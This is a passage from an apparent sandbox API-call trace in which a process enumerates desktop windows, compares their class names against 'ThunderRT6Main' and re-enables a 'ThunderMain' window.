lpdwProcessId=0x0) returned 0x4c4 [0116.192] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.192] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.192] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.192] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0116.192] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.192] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.192] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.192] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0116.192] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0116.192] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0116.192] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0116.192] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0116.192] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.192] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.192] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0116.192] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0116.192] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0116.193] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0116.193] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0116.193] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0116.193] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.193] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.193] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.193] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0116.193] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.193] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.193] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.193] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0116.193] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.193] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.193] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.193] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0116.193] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.193] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.193] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.193] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0116.193] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.193] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.193] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.193] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0116.193] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.193] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.194] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.194] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0116.194] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.194] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.194] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.194] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0116.194] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0116.194] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0116.194] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.194] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0116.194] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.194] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.194] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.194] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0116.194] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0116.194] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0116.194] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.194] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0116.194] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0116.194] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0116.194] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.194] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0116.194] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.194] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.194] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0116.194] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0116.194] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.195] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.195] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.195] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0116.195] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0116.195] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0116.195] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.195] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0116.195] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0116.195] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0116.195] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0116.195] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0116.195] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0116.195] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0116.195] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0116.195] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.195] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.195] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0116.195] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0116.195] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0116.195] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0116.195] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0116.195] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0116.195] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0116.195] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0116.195] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0116.195] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0116.195] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0116.196] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0116.196] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0116.196] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0116.196] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0116.196] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0116.196] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0116.196] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0116.196] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x20360 [0116.196] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0116.196] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0116.196] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0116.196] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0116.196] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0116.196] IsWindowEnabled (hWnd=0x20360) returned 0 [0116.196] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0116.196] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0116.196] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0116.196] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0116.196] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0116.196] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0116.196] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0116.196] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0116.196] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0116.196] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0116.196] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0116.197] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0116.197] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0116.197] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0116.197] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0116.197] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0116.197] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0116.197] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0116.197] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0116.197] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0116.197] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0116.197] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0116.197] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0116.197] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0116.197] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0116.197] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0116.197] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0116.197] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0116.197] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0116.197] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0116.197] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0116.197] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0116.197] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0116.197] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0116.197] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0116.197] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0116.197] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0116.197] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0116.197] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0116.197] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0116.197] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0116.198] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0116.198] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0116.198] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0116.198] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0116.198] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0116.198] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0116.198] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0116.198] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0116.198] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0116.198] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0116.198] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0116.198] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0116.198] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0116.198] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.198] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0116.198] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.198] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.198] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0116.198] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0116.198] GetClassNameA (in: hWnd=0x10260, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0116.198] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0116.198] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0116.198] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0116.198] GetClassNameA (in: hWnd=0x202bc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0116.198] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0116.198] GetWindowThreadProcessId (in: hWnd=0x202bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0116.198] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0116.199] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0116.199] GetClassNameA (in: hWnd=0x10292, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0116.199] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0116.199] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0116.199] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0116.199] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0116.199] GetClassNameA (in: hWnd=0x300e6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.199] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.199] GetWindowThreadProcessId (in: hWnd=0x300e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.199] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0116.199] GetClassNameA (in: hWnd=0x300be, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0116.199] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0116.199] GetWindowThreadProcessId (in: hWnd=0x300be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.199] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0116.199] GetClassNameA (in: hWnd=0x300e4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0116.199] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0116.199] GetWindowThreadProcessId (in: hWnd=0x300e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.199] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0116.199] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.199] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.199] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.199] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0116.199] GetClassNameA (in: hWnd=0x300d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.199] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.199] GetWindowThreadProcessId (in: hWnd=0x300d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.199] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0116.199] GetClassNameA (in: hWnd=0x400b4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0116.200] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0116.200] GetWindowThreadProcessId (in: hWnd=0x400b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.200] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0116.200] GetClassNameA (in: hWnd=0x300cc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0116.200] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0116.200] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0116.200] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0116.200] GetClassNameA (in: hWnd=0x1025e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.200] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.200] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0116.200] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0116.200] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Makers_genius_roles_app") returned 23 [0116.200] lstrcmpA (lpString1="Makers_genius_roles_app", lpString2="ThunderRT6Main") returned -1 [0116.200] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0116.200] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0116.200] GetClassNameA (in: hWnd=0x10258, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="utg2_wnd") returned 8 [0116.200] lstrcmpA (lpString1="utg2_wnd", lpString2="ThunderRT6Main") returned 1 [0116.200] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0116.200] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0116.200] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.200] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.200] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0116.200] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0116.200] GetClassNameA (in: hWnd=0x10254, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="spgagentserviceclass") returned 20 [0116.200] lstrcmpA (lpString1="spgagentserviceclass", lpString2="ThunderRT6Main") returned -1 [0116.200] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0116.201] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0116.201] GetClassNameA (in: hWnd=0x10256, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.201] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.201] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0116.201] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0116.201] GetClassNameA (in: hWnd=0x20250, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="spcwinwnd") returned 9 [0116.201] lstrcmpA (lpString1="spcwinwnd", lpString2="ThunderRT6Main") returned -1 [0116.201] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0116.201] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0116.201] GetClassNameA (in: hWnd=0x10252, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.201] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.201] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0116.201] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0116.201] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0116.201] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0116.201] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0116.201] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0116.201] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.201] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.201] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0116.201] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0116.201] GetClassNameA (in: hWnd=0x10248, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0116.201] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0116.201] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0116.202] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0116.202] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.202] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.202] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0116.202] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0116.202] GetClassNameA (in: hWnd=0x10244, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0116.202] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0116.202] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0116.202] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0116.202] GetClassNameA (in: hWnd=0x10246, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.202] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.202] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0116.202] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0116.202] GetClassNameA (in: hWnd=0x10240, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="fposwin") returned 7 [0116.202] lstrcmpA (lpString1="fposwin", lpString2="ThunderRT6Main") returned -1 [0116.202] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0116.202] GetWindow (hWnd=0x10240, 